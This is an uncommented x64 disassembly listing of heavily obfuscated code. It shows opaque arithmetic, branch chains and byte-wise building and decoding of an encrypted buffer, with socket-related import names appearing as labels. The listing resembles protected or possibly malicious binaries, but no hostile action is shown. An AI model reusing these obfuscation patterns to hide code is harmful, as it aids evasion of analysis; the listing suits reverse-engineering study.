lea rax, [r10 + 0x40]
cmp rbx, rax
ja 0x140161c78
lea rax, [r10 + 0x61]
cmp rbx, rax
ja 0x140161c55
lea rax, [r10 + 4]
cmp rbx, rax
ja 0x140161c34
lea rax, [r10 + 3]
cmp rbx, rax
ja 0x140161c10
lea rax, [r10 + 0x20]
cmp rbx, rax
ja 0x140161bec
lea rax, [r10 + 0x400]
cmp rbx, rax
ja 0x140161bd8
lea rax, [r10 + 2]
cmp rbx, rax
ja 0x1401619b0
lea rbx, [r10 + 0x7a]
lea r10, [rbx + 1]
jmp 0x1401619b0
movabs rdx, 0x7954c208e2fd862a
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x26
add dil, dl
jmp 0x1401619a3
movabs rdx, 0xc4f015cdd2d50aae
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_32
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
jmp 0x14016193a
movabs rdx, 0x108b6992c2ac8f32
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x5e
add dil, dl
jmp 0x1401618bd
movabs rdx, 0x310883614d4884b0
mov ecx, Ordinal_27
jmp 0x140162317
movabs rcx, 0x7ca3d7263d200934
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x6c
jmp 0x14016234e
movabs rcx, 0xc83f2aeb2cf78db8
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 8
jmp 0x140162375
movabs rdx, 0x13da7eb01ccf123c
mov ecx, reloc.WLDAP32.dll_Ordinal_46
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea edi, [rcx + rcx]
jmp 0x14016221f
movabs rcx, 0x5f75d2750ca696c0
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, sil
jmp 0x140162250
movabs rdx, 0xab112639fc7e1b44
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WS2_32.dll_select
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
jmp 0x1401622b1
movabs rdx, 0xf6ac79feec559fc8
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x78
jmp 0x14016239e
movabs rdx, 0x4247cdc3dc2d244c
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x14
jmp 0x1401623f9
movabs rdx, 0x8de32188cc04a8d0
mov ecx, Ordinal_41
jmp 0x140161d92
movabs rdx, 0x4ae772f5239f741a
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_41
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
mov byte [rbp + r9 + 0x880], dil
jmp 0x140162460
movabs rdx, 0x9682c6ba1376f89e
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x52
jmp 0x140161f41
movabs rdx, 0xe21e1a7f034e7d22
mov ecx, 9
jmp 0x140161ef7
movabs rdx, 0x2db96e43f32601a6
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_60
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
jmp 0x140161eca
movabs rdx, 0x64c66288f9f66384
mov ecx, reloc.WLDAP32.dll_Ordinal_50
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
jmp 0x140162451
movabs rdx, 0xb061b64de9cde808
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x38
jmp 0x1401623f9
movabs rdx, 0xfbfd0a12d9a56c8c
mov ecx, reloc.WLDAP32.dll_Ordinal_22
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
jmp 0x14016239e
movabs rcx, 0x47985dd7c97cf110
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x70
jmp 0x1401622b1
movabs rcx, 0x9333b19cb9547594
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0xc
jmp 0x140162250
movabs rdx, 0xdecf0561a92bfa18
mov ecx, Ordinal_46
jmp 0x140161c43
movabs rcx, 0x2a6a592699037e9c
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x44
jmp 0x140162375
movabs rdx, 0x7605aceb88db0320
mov ecx, reloc.WS2_32.dll_recv
jmp 0x14016203b
movabs rdx, 0xc1a100b078b287a4
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x7c
jmp 0x140162327
lea rax, [r10 + 8]
cmp rbx, rax
jae 0x140161f79
lea rdx, [r9 + r14]
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x32
add dil, dl
lea rax, [r10 + rbx]
cmp rax, 6
je 0x140162255
lea rax, [r10 + 0x10]
cmp rbx, rax
jbe 0x140162053
movabs rdx, 0xfdfe85096cd2b646
mov ecx, ntohl
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
cmp rbx, rsi
jae 0x1401621fc
lea rax, [r10 + 0x200]
cmp rbx, rax
jbe 0x140162139
movabs rdx, 0xe41f9575967bc6dc
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 4
add dil, dl
cmp r10, 0x1000
jb 0x140161d1b
movabs rdx, 0xf00e4fc4381099b4
add rdx, r9
mov al, r8b
and al, dl
mov ecx, 0xa
sub cl, al
add cl, cl
add cl, r8b
add cl, dl
lea edi, [rcx + rcx]
jmp 0x14016232a
lea rax, [r10 + 1]
cmp rbx, rax
jne 0x140161fa6
movabs rcx, 0xcc4220d85352212c
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x34
jmp 0x140162451
lea rax, [r10 + 2]
cmp rbx, rax
jne 0x140161fc3
movabs rdx, 0x350b794e73a31824
mov ecx, 2
jmp 0x140161ddc
lea rax, [r10 + 3]
cmp rbx, rax
jne 0x140161ff3
movabs rdx, 0x9dd4d1c493f40f1c
mov ecx, reloc.WLDAP32.dll_Ordinal_30
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
jmp 0x140162250
lea rax, [r10 + 4]
cmp rbx, rax
jne 0x14016201f
movabs rdx, 0x52397dffa41c8a98
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x28
jmp 0x140162222
lea rax, [r10 + 5]
cmp rbx, rax
jne 0x140161ecd
movabs rdx, 0xbb02d675c46d8190
mov ecx, 8
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
jmp 0x14016234e
lea rax, [r10 + 1]
cmp rbx, rax
jne 0x14016207f
movabs rdx, 0xb26331447cfb31c2
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x4e
jmp 0x140162327
lea rax, [r10 + 3]
cmp rbx, rax
jne 0x1401620ab
movabs rdx, 0xcf9135f5ad74a436
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x7a
jmp 0x140162222
lea rax, [r10 + 4]
cmp rbx, rax
jne 0x1401620db
movabs rdx, 0x83f5e230bd9d1fb2
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WS2_32.dll_recvfrom
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x140162250
lea rax, [r10 + 5]
cmp rbx, rax
jne 0x140162108
movabs rcx, 0x385a8e6bcdc59b2e
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x42
jmp 0x1401622b1
lea rax, [r10 + 6]
cmp rbx, rax
jne 0x140161f0a
movabs rcx, 0x5588931cfe3f0da2
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x6e
jmp 0x140162451
lea rax, [r10 + 1]
cmp rbx, rax
jne 0x140162166
movabs rcx, 0x988441b0a6a44258
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x68
jmp 0x140162451
lea rax, [r10 + 3]
cmp rbx, rax
jne 0x140162192
movabs rdx, 0x14d9a26c6f53950
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x30
jmp 0x14016239e
lea rax, [r10 + 2]
cmp rbx, rax
jne 0x1401621af
movabs rdx, 0x6a16f29ce7463048
mov ecx, 4
jmp 0x140161fdb
lea rax, [r10 + 7]
cmp rbx, rax
jne 0x1401621cc
movabs rdx, 0xd2e04b1307972740
mov ecx, reloc.WLDAP32.dll_Ordinal_32
jmp 0x140162362
lea rax, [r10 + 5]
cmp rbx, rax
jne 0x140161f44
movabs rcx, 0x8744f74e17bfa2bc
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, r15b
jmp 0x14016234e
movabs rdx, 0xa472fbff48391530
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, byte [rbp + r9 + 0x880]
sub dil, al
sub dil, 0x50
add dil, r8b
add dil, dl
movabs rcx, 0x7ea5521cd04d52ee
add rcx, r9
mov al, cl
and al, r8b
mov edx, 0x3f
sub dl, al
add dl, dl
add dl, cl
add dl, dil
add dl, r8b
mov byte [rbp + r9 + 0x880], dl
add rbx, r10
jmp 0x1401622b1
movabs rdx, 0x58d7a83a586190ac
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_41
sub cl, al
lea edi, [rcx + rcx]
sub dil, byte [rbp + r9 + 0x880]
jmp 0x140161de9
movabs rdx, 0xd4e1c6099ac470fa
mov ecx, reloc.WS2_32.dll_setsockopt
jmp 0x140161ddc
movabs rcx, 0x207d19ce8a9bf57e
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x72
movzx eax, dil
or rcx, 0xffffffffffffffff
sub rcx, rax
add r9, rcx
jmp 0x140162460
movabs rcx, 0x34f151d5a22830a
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x46
jmp 0x140162375
movabs rdx, 0x9a85bca739d18c12
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x7e
jmp 0x140162327
movabs rdx, 0x31bc64311980951a
mov ecx, Ordinal_41
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
movabs rcx, 0xca40a5e1c024d772
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
sub cl, 0x1e
add cl, r8b
mov byte [rbp + r9 + 0x880], cl
add r10, r12
jmp 0x140162375
movabs rdx, 0xc8f30bbaf92f9e22
mov ecx, 9
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
sub r9, r12
jmp 0x140162460
mov r8, r11
movabs rdx, 0xf7605aceb88db032
add rdx, r9
mov al, dl
and al, r11b
add al, al
mov dil, r11b
sub dil, al
sub dil, 0x5e
add dil, dl
movabs rdx, 0x3309fe57e075ce6a
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WS2_32.dll_listen
sub cl, al
add cl, cl
add cl, dl
add cl, r8b
movzx eax, cl
mov byte [rbp + r9 + 0x880], al
add r10, r12
add rax, r10
sub r9, rax
jmp 0x1401623fc
movabs rdx, 0x42fbae93a86534b6
add rdx, r9
mov al, r11b
and al, dl
mov ecx, 3
sub cl, al
lea edi, [rcx + rcx]
add dil, r11b
mov r8b, r11b
add dil, dl
movabs rcx, 0xd3c5475688a0c28
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
sub cl, 0x18
add cl, r8b
mov byte [rbp + r9 + 0x880], cl
add rbx, r12
or rax, 0xffffffffffffffff
sub rax, rbx
add r9, rax
jmp 0x140162451
movabs rdx, 0x8e970258983cb93a
add rdx, r9
mov al, r11b
and al, dl
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r11b
movzx eax, byte [rbp + r9 + 0x880]
add rax, r10
add r9, rax
add r9, r12
jmp 0x1401618ab
movabs rdx, 0x5c26bd57b28413b6
add rdx, r9
mov al, r8b
and al, dl
mov ecx, 3
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
jmp 0x1401618a8
movabs rdx, 0xa7c2111ca25b983a
add rdx, r9
mov al, r8b
and al, dl
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
jmp 0x140161898
lea rdx, [rbp + 0x1598428]
jmp 0x1401624cf
lea rdx, [rbp + 0x16dc1e6]
jmp 0x1401624cf
lea rdx, [rbp + 0x880]
lea rcx, [rbp + 0x258]
call fcn.1400caa9c
mov rbx, rax
mov qword [rsp + 0x58], rax
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0x30d0]
call sub.VCRUNTIME140.dll_memset
mov rdx, rbx
cmp qword [rbx + 0x18], 7
jbe 0x140162504
mov rdx, qword [rbx]
mov dword [rsp + 0x20], r12d
mov r9d, esi
mov r8d, 2
lea rcx, [rbp + 0x30d0]
call fcn.1400ca964
nop
lea rcx, [rbp + 0x30d0]
call fcn.1401aa82c
nop
lea rcx, [rbp + 0x30d0]
call fcn.14008b590
nop
mov rcx, rbx
call fcn.140091ed0
mov byte [rbp + 0xfd0], 0xe3
mov byte [rbp + 0xfd1], 0xad
mov byte [rbp + 0xfd2], 0xec
mov byte [rbp + 0xfd3], 0xab
mov byte [rbp + 0xfd4], recv
mov byte [rbp + 0xfd5], 0xa9
mov byte [rbp + 0xfd6], reloc.WLDAP32.dll_Ordinal_45
mov byte [rbp + 0xfd7], reloc.WS2_32.dll___WSAFDIsSet
mov byte [rbp + 0xfd8], 0x3d
mov byte [rbp + 0xfd9], __WSAFDIsSet
mov byte [rbp + 0xfda], r13b
mov byte [rbp + 0xfdb], __WSAFDIsSet
mov byte [rbp + 0xfdc], reloc.WLDAP32.dll_Ordinal_60
mov byte [rbp + 0xfdd], __WSAFDIsSet
mov byte [rbp + 0xfde], reloc.WS2_32.dll_listen
mov byte [rbp + 0xfdf], 0x9f
mov byte [rbp + 0xfe0], 7
mov byte [rbp + 0xfe1], 0x9d
mov byte [rbp + 0xfe2], 5
mov byte [rbp + 0xfe3], 0x9b
mov byte [rbp + 0xfe4], reloc.WLDAP32.dll_Ordinal_60
mov byte [rbp + 0xfe5], 0x99
mov byte [rbp + 0xfe6], Ordinal_46
mov byte [rbp + 0xfe7], 0x87
mov r14d, reloc.WLDAP32.dll_Ordinal_22
mov byte [rbp + 0xfe8], r14b
mov byte [rbp + 0xfe9], 0x85
mov byte [rbp + 0xfea], Ordinal_217
mov byte [rbp + 0xfeb], 0x83
mov byte [rbp + 0xfec], 0x3d
mov byte [rbp + 0xfed], 0x81
mov byte [rbp + 0xfee], Ordinal_50
mov byte [rbp + 0xfef], reloc.WLDAP32.dll_Ordinal_143
mov byte [rbp + 0xff0], Ordinal_46
mov byte [rbp + 0xff1], Ordinal_143
mov byte [rbp + 0xff2], reloc.WS2_32.dll_recvfrom
mov byte [rbp + 0xff3], Ordinal_143
mov byte [rbp + 0xff4], reloc.WLDAP32.dll_Ordinal_33
mov byte [rbp + 0xff5], Ordinal_143
mov byte [rbp + 0xff6], 0x64
mov byte [rbp + 0xff7], 0xf7
mov byte [rbp + 0xff8], 0x5c
mov byte [rbp + 0xff9], 0xf5
mov byte [rbp + 0xffa], 0x62
mov byte [rbp + 0xffb], 0xf3
mov byte [rbp + 0xffc], 0xaa
mov byte [rbp + 0xffd], 0xf1
mov byte [rbp + 0xffe], 0xa2
mov byte [rbp + 0xfff], 0xff
mov byte [rbp + 0x1000], 0xae
mov byte [rbp + 0x1001], 0xfd
mov byte [rbp + 0x1002], 0x57
mov byte [rbp + 0x1003], 0xfb
mov byte [rbp + 0x1004], 0x60
mov byte [rbp + 0x1005], 0xf9
mov byte [rbp + 0x1006], Ordinal_79
mov byte [rbp + 0x1007], 0xe7
mov byte [rbp + 0x1008], 0xb6
mov byte [rbp + 0x1009], 0xe5
mov byte [rbp + 0x100a], 0x77
mov byte [rbp + 0x100b], 0xe3
mov byte [rbp + 0x100c], 0x7d
mov byte [rbp + 0x100d], 0xe1
mov byte [rbp + 0x100e], 0x47
mov byte [rbp + 0x100f], 0xef
mov byte [rbp + 0x1010], 0xec
mov byte [rbp + 0x1011], 0xed
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x1012], xmm0
mov qword [rbp + 0x1022], rax
mov byte [rbp + 0x102a], al
mov dil, byte [rsp + 0x50]
call fcn.1401ac500
mov rbx, qword [rax]
call fcn.1401ac508
mov r10, qword [rax]
mov r9, r13
cmp r9, 0x5b
jae 0x14016330e
movzx r8d, byte [rbp + r9 + 0xfd0]
mov r11, r8
cmp rbx, r9
ja 0x140163305
lea rax, [r10 + 1]
cmp rbx, rax
jae 0x140162791
movabs rcx, 0xfa317cbfea226b1a
add rcx, r9
mov rax, rcx
and rax, r8
imul rdi, rax, 0xfffffffffffffffe
add rdi, rcx
add rdi, r8
add dil, 0x4a
jmp 0x1401627cb
je 0x14016327c
lea rax, [r10 + 3]
cmp rbx, rax
je 0x1401631f0
lea rax, [r10 + 4]
cmp rbx, rax
je 0x1401631b8
lea rax, [r10 + 6]
cmp rbx, rax
je 0x14016316a
lea rax, [r10 + 2]
cmp rbx, rax
je 0x140163141
cmp r10, r9
ja 0x1401632fc
lea rax, [r10 + 0x7a]
cmp rbx, rax
jae 0x1401627f1
movabs rdx, 0x860f3bbe34d2c922
mov ecx, 9
jmp 0x1401629d8
lea rax, [r10 + 1]
cmp rbx, rax
je 0x1401630f8
lea rax, [r10 + 3]
cmp rbx, rax
je 0x1401630d7
lea rax, [r10 + 5]
cmp rbx, rax
je 0x1401630b3
lea rax, [r10 + 7]
cmp rbx, rax
je 0x14016308d
lea rax, [r10 + rbx]
cmp rax, r9
jbe 0x140162d6c
lea rax, [r10 + 0x64]
cmp rbx, rax
je 0x140162d49
lea rax, [r10 + 0x40]
cmp rbx, rax
je 0x140162d35
lea rax, [r10 + 0x20]
cmp rbx, rax
je 0x140162d11
lea rax, [r10 + 0xa]
cmp rbx, rax
je 0x140162cee
lea rax, [r10 + 8]
cmp rbx, rax
je 0x140162cda
lea rax, [r10 + 5]
cmp rbx, rax
je 0x140162cb6
lea rax, [r10 + 3]
cmp rbx, rax
je 0x140162ca2
lea rax, [r10 + 1]
cmp rbx, rax
je 0x140162c7f
lea rax, [r10 + 0x5a]
cmp rbx, rax
je 0x140162c6b
lea rax, [r10 + 0x7a]
cmp rbx, rax
je 0x140162832
lea rbx, [r10 + 0x61]
lea r10, [rbx + 0x1000]
lea rax, [r10 + 0x400]
cmp rbx, rax
jb 0x1401632d8
lea rax, [r10 + 0x200]
cmp rbx, rax
jb 0x1401632b1
lea rax, [r10 + 6]
cmp rbx, rax
jb 0x140162a16
lea rax, [r10 + 4]
cmp rbx, rax
jb 0x1401629f0
lea rax, [r10 + 2]
cmp rbx, rax
jb 0x1401629c9
lea rax, [r10 + 0x2a]
cmp rbx, rax
jb 0x140162bd1
lea rax, [r10 + 0x41]
cmp rbx, rax
jb 0x140162bb0
lea rax, [r10 + 0x61]
cmp rbx, rax
jb 0x140162b5e
lea rbx, [r10 + 0x80]
lea r10, [rbx + 0x64]
lea rax, [r10 + 0x42]
cmp rbx, rax
ja 0x140162b3a
lea rax, [r10 + 0x28]
cmp rbx, rax
ja 0x140162b17
lea rax, [r10 + 0x10]
cmp rbx, rax
ja 0x140162af3
lea rax, [r10 + 9]
cmp rbx, rax
ja 0x140162acf
lea rax, [r10 + 6]
cmp rbx, rax
ja 0x140162abb
lea rax, [r10 + 4]
cmp rbx, rax
ja 0x140162a98
lea rax, [r10 + 2]
cmp rbx, rax
ja 0x140162a84
lea rax, [r10 + 0x2a]
cmp rbx, rax
ja 0x140162a60
lea rax, [r10 + 0x41]
cmp rbx, rax
ja 0x140162a3d
lea rax, [r10 + 0x61]
cmp rbx, rax
ja 0x140162832
lea rbx, [r10 + 0x1000]
lea r10, [rbx + 0x400]
jmp 0x140162832
movabs rdx, 0xd8debc3420b0271e
mov ecx, reloc.WS2_32.dll_socket
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
jmp 0x140162825
movabs rdx, 0xe47bc2b44c6b50ea
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x66
add dil, dl
jmp 0x1401627cb
movabs rdx, 0xf018c93478267ab6
add rdx, r9
mov al, r8b
and al, dl
mov ecx, 3
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
jmp 0x140162759
movabs rdx, 0x3079ddf1a6964910
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x70
jmp 0x140163116
movabs rcx, 0x3c16e471d25172dc
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 4
jmp 0x14016315f
movabs rdx, 0x47b3eaf1fe0c9ca8
mov ecx, 0x34
jmp 0x140162ecb
movabs rdx, 0x5350f17229c7c674
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x2c
jmp 0x140163188
movabs rdx, 0x5eedf7f25582f040
mov ecx, reloc.WLDAP32.dll_Ordinal_32
jmp 0x1401631c7
movabs rcx, 0x6a8afe72813e1a0c
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x54
jmp 0x1401631dd
movabs rdx, 0x762804f2acf943d8
mov ecx, recv
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
jmp 0x140163212
movabs rdx, 0x81c50b72d8b46da4
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x7c
jmp 0x1401630ab
movabs rcx, 0x8d6211f3046f9770
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x10
jmp 0x14016329a
movabs rdx, 0xb607a8b39d7ea9ba
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
add dil, dl
sub dil, r14b
cmp r10, 0x41
jb 0x14016302c
movabs rdx, 0xafb7b47749b6ac5c
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov cl, r8b
sub cl, al
add cl, dl
lea edi, [rcx*2 - 8]
jmp 0x140163119
movabs rdx, 0xc1a4af33c939d386
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_46
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
jmp 0x140162c2b
movabs rdx, 0xcd41b5b3f4f4fd52
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x3e
add dil, dl
lea rax, [r10 + rbx]
cmp rax, 0x5a
je 0x140163062
lea rax, [r10 + 0x41]
cmp rbx, rax
jbe 0x140162e86
movabs rdx, 0x9dcab9baca338532
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x5e
add dil, dl
cmp rbx, 3
jae 0x140163039
lea rcx, [r10 + 2]
cmp rbx, rcx
jbe 0x140162f6d
movabs rdx, 0x23d9f578ff064e54
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x4c
add dil, dl
jmp 0x140162b7e
movabs rdx, 0x245b66753cf0b6cc
mov ecx, gethostname
jmp 0x140162db4
movabs rdx, 0x2ff86cf568abe098
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x28
jmp 0x1401630ab
movabs rdx, 0x3b95737594670a64
mov ecx, Ordinal_35
jmp 0x140162b02
movabs rcx, 0x473279f5c0223430
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x50
jmp 0x1401631dd
movabs rdx, 0x52cf8075ebdd5dfc
mov ecx, reloc.WS2_32.dll_ntohl
jmp 0x1401631c7
movabs rdx, 0x5e6c86f6179887c8
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x78
jmp 0x140163188
movabs rcx, 0x6a098d764353b194
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0xc
jmp 0x140163162
movabs rdx, 0x75a693f66f0edb60
mov ecx, Ordinal_50
jmp 0x140162e6e
movabs rdx, 0x81439a769aca052c
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x34
jmp 0x140163116
lea rcx, [r10 + 2]
cmp rbx, rcx
jae 0x140162d9c
movabs rdx, 0xfa317cbfea226b1a
add rdx, r9
mov al, dl
and al, r8b
mov ecx, Ordinal_41
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x140162bf2
lea rax, [r10 + 1]
cmp rbx, rax
jne 0x140162dcc
movabs rdx, 0xc1e777c69a59244
mov ecx, reloc.WS2_32.dll_select
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
jmp 0x14016329a
cmp rbx, rcx
jne 0x140162df8
movabs rdx, 0xf4e46a7c122f3eac
add rdx, r9
mov al, dl
and al, r8b
mov ecx, Ordinal_41
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x140163215
lea rax, [r10 + 3]
cmp rbx, rax
jne 0x140162e25
movabs rdx, 0xd20d56fb8efdc148
add rdx, r9
mov al, r8b
and al, dl
mov ecx, 4
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
jmp 0x140163188
lea rax, [r10 + 6]
cmp rbx, rax
jne 0x140162e52
movabs rcx, 0xc670507b6342977c
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x64
jmp 0x140163162
lea rax, [r10 + 4]
cmp rbx, rax
jne 0x140162bf2
movabs rdx, 0xbad349fb37876db0
mov ecx, Ordinal_27
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
jmp 0x14016315f
lea rax, [r10 + 1]
cmp rbx, rax
jne 0x140162eb3
movabs rdx, 0x922db33a9e785b66
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_27
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
jmp 0x140163116
lea rax, [r10 + 3]
cmp rbx, rax
jne 0x140162ee3
movabs rdx, 0x7af3a63a470207ce
mov ecx, Ordinal_50
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
jmp 0x140163162
lea rax, [r10 + 5]
cmp rbx, rax
jne 0x140162f10
movabs rcx, 0x63b99939ef8bb436
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x7a
jmp 0x1401631da
lea rax, [r10 + 4]
cmp rbx, rax
jne 0x140162f3c
movabs rdx, 0x4c7f8c399815609e
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x52
jmp 0x140163212
lea rax, [r10 + 6]
cmp rbx, rax
jne 0x140162c2e
movabs rcx, 0x35457f39409f0d06
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x2a
jmp 0x14016329a
lea rax, [r10 + 1]
cmp rbx, rax
jne 0x140162f88
movabs rdx, 0x183ceef8d34b2488
mov ecx, r15d
jmp 0x140162db4
cmp rbx, rcx
jne 0x140162fb2
movabs rdx, 0xc9fe878a78ffabc
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
add dil, dl
sub dil, r15b
jmp 0x140163245
lea rax, [r10 + 5]
cmp rbx, rax
jne 0x140162fdf
movabs rcx, 0xe9c8d4f8245e7d58
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x68
jmp 0x1401631da
lea rax, [r10 + 3]
cmp rbx, rax
jne 0x140162ffc
movabs rdx, 0xc6f1c177a12cfff4
mov ecx, Ordinal_46
jmp 0x140162e6e
lea rax, [r10 + 7]
cmp rbx, rax
jne 0x140162b7e
movabs rdx, 0xbb54baf77571d628
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x18
jmp 0x140163116
mov byte [rbp + r9 + 0xfd0], dil
jmp 0x1401632a9
movabs rdx, 0xa41aadf71dfb8290
add rdx, r9
mov al, r8b
and al, dl
mov ecx, 8
sub cl, al
lea edi, [rcx + rcx]
add dil, byte [rbp + r9 + 0xfd0]
jmp 0x140162e1d
